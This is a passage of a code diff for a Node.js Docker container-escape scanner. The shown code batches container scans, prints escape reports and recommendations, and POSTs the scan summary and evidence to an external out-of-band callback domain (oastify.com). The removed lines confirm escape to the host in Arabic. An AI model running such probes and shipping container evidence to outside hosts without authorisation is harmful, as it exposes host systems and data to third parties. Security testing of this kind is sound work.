+ const batch = this.scanners.slice(i, i + batchSize);
598
+ console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
599
+
600
+ const batchPromises = batch.map(scanner =>
601
+ scanner.scan().catch(error => {
602
+ console.error(`Failed to scan ${scanner.shortId}:`, error.message);
603
+ return scanner.info;
604
+ })
605
+ );
606
+
607
+ const batchResults = await Promise.all(batchPromises);
608
+ this.results.push(...batchResults);
609
+
610
+ // Show progress
611
+ const scanned = Math.min(i + batchSize, this.scanners.length);
612
+ const percent = Math.round((scanned / this.scanners.length) * 100);
613
+ console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
341
614
  }
615
+
616
+ return this.results;
342
617
  }
343
-
344
- console.log("\n🔍 نتائج التأكيد:");
345
- console.log(`🚀 الهروب للمضيف: ${escapeConfirmation.verificationResults.escapedToHost ? '✅ مؤكد' : '❌ غير مؤكد'}`);
346
- console.log(`📈 مستوى الثقة: ${escapeConfirmation.verificationResults.confidenceLevel}%`);
347
- console.log(`⚠️ مستوى الخطورة: ${escapeConfirmation.verificationResults.riskLevel}`);
348
-
349
- if (escapeConfirmation.verificationResults.escapedToHost) {
350
- console.log("\n🎯 أدلة الهروب المؤكدة:");
351
- escapeConfirmation.escapeEvidence.proofPoints.forEach((proof, i) => {
352
- console.log(` ${i + 1}. ${proof}`);
618
+
619
+ async generateReport() {
620
+ console.log('\n' + ''.repeat(80));
621
+ console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
622
+ console.log('═'.repeat(80));
623
+
624
+ const report = {
625
+ metadata: {
626
+ timestamp: new Date().toISOString(),
627
+ sessionId: CONFIG.OAST.sessionId,
628
+ scanDuration: Date.now() - STATE.startTime,
629
+ config: CONFIG
630
+ },
631
+ statistics: STATE.statistics,
632
+ oast: {
633
+ domain: CONFIG.OAST.domain,
634
+ interactions: STATE.oastInteractions.length,
635
+ session: CONFIG.OAST.sessionId
636
+ },
637
+ containers: this.results,
638
+ summary: this.generateSummary()
639
+ };
640
+
641
+ // Print summary
642
+ this.printSummary(report.summary);
643
+
644
+ // Save report if enabled
645
+ if (CONFIG.OUTPUT.saveReports) {
646
+ await this.saveReport(report);
647
+ }
648
+
649
+ return report;
650
+ }
651
+
652
+ generateSummary() {
653
+ const summary = {
654
+ totalScanned: STATE.statistics.scannedContainers,
655
+ escapedContainers: [],
656
+ vulnerableContainers: [],
657
+ criticalIssues: [],
658
+ recommendations: []
659
+ };
660
+
661
+ this.results.forEach(container => {
662
+ if (container.escapeStatus === 'confirmed' || container.escapeStatus === 'probable') {
663
+ summary.escapedContainers.push({
664
+ id: container.id.substring(0, 12),
665
+ name: container.name,
666
+ confidence: container.confidence,
667
+ methods: container.methods,
668
+ risk: container.risk
669
+ });
670
+ }
671
+
672
+ if (container.vulnerabilities.length > 0) {
673
+ summary.vulnerableContainers.push({
674
+ id: container.id.substring(0, 12),
675
+ name: container.name,
676
+ vulnerabilities: container.vulnerabilities
677
+ });
678
+ }
679
+
680
+ if (container.risk === 'critical') {
681
+ summary.criticalIssues.push({
682
+ id: container.id.substring(0, 12),
683
+ name: container.name,
684
+ evidence: container.evidence.slice(0, 3)
685
+ });
686
+ }
353
687
  });
354
688
 
355
- console.log("\n🔧 طرق الهروب الناجحة:");
356
- escapeConfirmation.escapeEvidence.successfulMethods.forEach((method, i) => {
357
- console.log(` ${i + 1}. ${method}`);
689
+ // Generate recommendations
690
+ if (summary.escapedContainers.length > 0) {
691
+ summary.recommendations.push(
692
+ `Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
693
+ );
694
+ }
695
+
696
+ if (summary.criticalIssues.length > 0) {
697
+ summary.recommendations.push(
698
+ `Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
699
+ );
700
+ }
701
+
702
+ if (summary.vulnerableContainers.length > 0) {
703
+ summary.recommendations.push(
704
+ `Update kernel/software in ${summary.vulnerableContainers.length} containers`
705
+ );
706
+ }
707
+
708
+ if (summary.escapedContainers.length === 0) {
709
+ summary.recommendations.push('No critical escape vectors detected. Regular security maintenance recommended.');
710
+ }
711
+
712
+ return summary;
713
+ }
714
+
715
+ printSummary(summary) {
716
+ console.log('\n📈 SCAN STATISTICS:');
717
+ console.log(' Total containers scanned:', summary.totalScanned);
718
+ console.log(' Containers that can escape:', summary.escapedContainers.length);
719
+ console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
720
+ console.log(' Critical issues:', summary.criticalIssues.length);
721
+
722
+ if (summary.escapedContainers.length > 0) {
723
+ console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
724
+ summary.escapedContainers.forEach((container, i) => {
725
+ console.log(` ${i + 1}. ${container.name || container.id}`);
726
+ console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
727
+ console.log(` Methods: ${container.methods.join(', ')}`);
728
+ });
729
+ }
730
+
731
+ if (summary.criticalIssues.length > 0) {
732
+ console.log('\n⚠️ CRITICAL VULNERABILITIES:');
733
+ summary.criticalIssues.forEach((issue, i) => {
734
+ console.log(` ${i + 1}. ${issue.name || issue.id}`);
735
+ issue.evidence.forEach(ev => console.log(` - ${ev}`));
736
+ });
737
+ }
738
+
739
+ console.log('\n💡 RECOMMENDATIONS:');
740
+ summary.recommendations.forEach((rec, i) => {
741
+ console.log(` ${i + 1}. ${rec}`);
358
742
  });
359
743
 
360
- if (escapeConfirmation.hostSystem.hostname) {
361
- console.log(`\n🖥️ اسم المضيف: ${escapeConfirmation.hostSystem.hostname}`);
744
+ console.log('\n📡 OAST REPORTING:');
745
+ console.log(` Domain: ${CONFIG.OAST.domain}`);
746
+ console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
747
+ console.log(` Interactions sent: ${STATE.oastInteractions.length}`);
748
+ console.log(` Check OAST for detailed evidence: https://oastify.com`);
749
+
750
+ console.log('\n' + '═'.repeat(80));
751
+ console.log('🎯 SCAN COMPLETE');
752
+
753
+ if (summary.escapedContainers.length > 0) {
754
+ console.log('🚨 SECURITY ALERT: Container escape vectors detected!');
755
+ console.log('🔒 Immediate remediation required.');
756
+ } else {
757
+ console.log('✅ No critical escape vectors detected.');
758
+ console.log('🛡️ Regular security monitoring recommended.');
362
759
  }
363
760
 
364
- if (escapeConfirmation.hostSystem.kernel) {
365
- console.log(`🐧 Kernel المضيف: ${escapeConfirmation.hostSystem.kernel}`);
761
+ console.log('═'.repeat(80));
762
+ }
763
+
764
+ async saveReport(report) {
765
+ const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
766
+ const filename = `multi-container-scan-${timestamp}.json`;
767
+
768
+ try {
769
+ fs.writeFileSync(filename, JSON.stringify(report, null, 2));
770
+ console.log(`\n💾 Full report saved to: ${filename}`);
771
+
772
+ // Also save a summary file
773
+ const summaryFilename = `scan-summary-${timestamp}.txt`;
774
+ let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
775
+ summaryText += `Date: ${new Date().toLocaleString()}\n`;
776
+ summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
777
+
778
+ summaryText += `STATISTICS:\n`;
779
+ summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
780
+ summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
781
+ summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
782
+
783
+ if (report.summary.escapedContainers.length > 0) {
784
+ summaryText += `CRITICAL CONTAINERS:\n`;
785
+ report.summary.escapedContainers.forEach(container => {
786
+ summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
787
+ });
788
+ summaryText += '\n';
789
+ }
790
+
791
+ summaryText += `OAST DETAILS:\n`;
792
+ summaryText += ` Domain: ${CONFIG.OAST.domain}\n`;
793
+ summaryText += ` Session: ${CONFIG.OAST.sessionId}\n`;
794
+ summaryText += ` Interactions: ${STATE.oastInteractions.length}\n`;
795
+
796
+ fs.writeFileSync(summaryFilename, summaryText);
797
+ console.log(`📝 Summary saved to: ${summaryFilename}`);
798
+
799
+ } catch (error) {
800
+ console.error('❌ Failed to save report:', error.message);
366
801
  }
367
802
  }
803
+
804
+ exec(command) {
805
+ return new Promise((resolve, reject) => {
806
+ exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
807
+ if (error) {
808
+ reject(error);
809
+ } else {
810
+ resolve(stdout.toString().trim());
811
+ }
812
+ });
813
+ });
814
+ }
815
+ }
816
+
817
+ // ===================== MAIN EXECUTION =====================
818
+ async function main() {
819
+ console.log('🚀 Starting Multi-Container Escape Scanner...\n');
820
+ console.log('⚙️ Configuration:');
821
+ console.log(` OAST Domain: ${CONFIG.OAST.domain}`);
822
+ console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
823
+ console.log(` Parallel scans: ${CONFIG.SCAN.parallelScans}`);
824
+ console.log(` Deep scan: ${CONFIG.SCAN.deepScan ? 'Yes' : 'No'}`);
368
825
 
369
- // حفظ النتائج في ملف
370
- const reportFile = `/tmp/container-escape-confirmation-${Date.now()}.json`;
371
- fs.writeFileSync(reportFile, JSON.stringify(escapeConfirmation, null, 2));
372
- console.log(`\n💾 تم حفظ التقرير الكامل في: ${reportFile}`);
826
+ // Initial OAST ping
827
+ console.log('\n📡 Sending initial OAST ping...');
828
+ try {
829
+ const req = https.request({
830
+ hostname: CONFIG.OAST.domain,
831
+ port: CONFIG.OAST.httpsPort,
832
+ path: '/scan-start',
833
+ method: 'POST',
834
+ headers: {
835
+ 'Content-Type': 'application/json',
836
+ 'X-Session-ID': CONFIG.OAST.sessionId
837
+ }
838
+ });
839
+
840
+ req.write(JSON.stringify({
841
+ action: 'scan_start',
842
+ timestamp: new Date().toISOString(),
843
+ config: {
844
+ parallelScans: CONFIG.SCAN.parallelScans,
845
+ maxContainers: CONFIG.SCAN.maxContainers
846
+ }
847
+ }));
848
+ req.end();
849
+ } catch (e) {}
373
850
 
374
- // رسالة نهائية
375
- console.log("\n" + "=".repeat(70));
376
- if (escapeConfirmation.verificationResults.escapedToHost) {
377
- console.log("🚨 تحذير: تم تأكيد هروب الحاوية بنجاح!");
378
- console.log("🔓 النظام الحالي يمكنه الوصول للنظام المضيف");
379
- console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
380
- } else if (escapeConfirmation.currentSystem.isContainer === true) {
381
- console.log("✅ الحاوية معزولة بشكل مناسب");
382
- console.log("🔒 لم يتم اكتشاف هروب ناجح");
383
- } else if (escapeConfirmation.currentSystem.isContainer === false) {
384
- console.log("ℹ️ النظام الحالي ليس حاوية");
385
- console.log("📋 تم إجراء فحوصات أمنية عامة فقط");
386
- }
387
- console.log("=".repeat(70));
851
+ // Create scanner and run
852
+ const scanner = new MultiContainerScanner();
388
853
 
389
- // عرض مختصر للأدلة إذا كان هناك هروب
390
- if (escapeConfirmation.verificationResults.escapedToHost) {
391
- console.log("\n📋 ملخص الأدلة القاطعة:");
392
- console.log("1. hostname مختلف بين الحاوية والمضيف");
393
- console.log("2. الوصول لملفات نظام المضيف");
394
- console.log(`3. ${escapeConfirmation.escapeEvidence.successfulMethods.length} طريقة هروب ناجحة`);
395
- if (escapeConfirmation.hostSystem.users.length > 0) {
396
- console.log("4. يمكن قراءة مستخدمي المضيف");
854
+ try {
855
+ // Discover containers
856
+ const containerIds = await scanner.discoverContainers();
857
+
858
+ if (containerIds.length === 0) {
859
+ console.log('No containers to scan. Exiting.');
860
+ process.exit(0);
397
861
  }
862
+
863
+ // Scan containers
864
+ const results = await scanner.scanContainers(containerIds);
865
+
866
+ // Generate report
867
+ const report = await scanner.generateReport();
868
+
869
+ // Send final report to OAST
870
+ console.log('\n📡 Sending final report to OAST...');
871
+ try {
872
+ const finalReq = https.request({
873
+ hostname: CONFIG.OAST.domain,
874
+ port: CONFIG.OAST.httpsPort,
875
+ path: '/scan-complete',
876
+ method: 'POST',
877
+ headers: {
878
+ 'Content-Type': 'application/json',
879
+ 'X-Session-ID': CONFIG.OAST.sessionId,
880
+ 'X-Final-Report': 'true'
881
+ }
882
+ });
883
+
884
+ finalReq.write(JSON.stringify({
885
+ action: 'scan_complete',
886
+ timestamp: new Date().toISOString(),
887
+ statistics: report.statistics,
888
+ summary: report.summary,
889
+ sessionId: CONFIG.OAST.sessionId
890
+ }));
891
+
892
+ finalReq.end();
893
+ console.log('✅ Final report sent to OAST.');
894
+ } catch (e) {
895
+ console.log('⚠️ Could not send final report to OAST (may be expected)');
896
+ }
897
+
898
+ // Exit with appropriate code
899
+ if (report.summary.escapedContainers.length > 0) {
900
+ console.log('\n⚠️ Exiting with warning code (containers can escape)');
901
+ process.exit(2);
902
+ } else {
903
+ console.log('\n✅ Scan completed successfully.');
904
+ process.exit(0);
905
+ }
906
+
907
+ } catch (error) {
908
+ console.error('\n❌ Scan failed:', error.message);
909
+ process.exit(1);
398
910
  }
399
911
  }
400
912
 
401
- // ===================== بدء التشغيل =====================
402
- console.log("بدء عملية تأكيد هروب الحاوية...\n");
403
- performBasicChecks();
913
+ // ===================== EXECUTE =====================
914
+ if (require.main === module) {
915
+ // Check if Docker is available
916
+ exec('which docker', (error) => {
917
+ if (error) {
918
+ console.error('❌ Docker is not available or not in PATH.');
919
+ console.error(' This tool requires Docker to be installed and accessible.');
920
+ process.exit(1);
921
+ }
922
+
923
+ // Check if we have permission to run docker commands
924
+ exec('docker ps', (error) => {
925
+ if (error && error.message.includes('permission denied')) {
926
+ console.error('❌ Permission denied for Docker commands.');
927
+ console.error(' Try running with sudo or add your user to docker group.');
928
+ process.exit(1);
929
+ }
930
+
931
+ // Start the scan
932
+ main();
933
+ });
934
+ });
935
+ }
936
+
937
+ module.exports = { MultiContainerScanner, ContainerScanner };
Binary file
Binary file
Binary file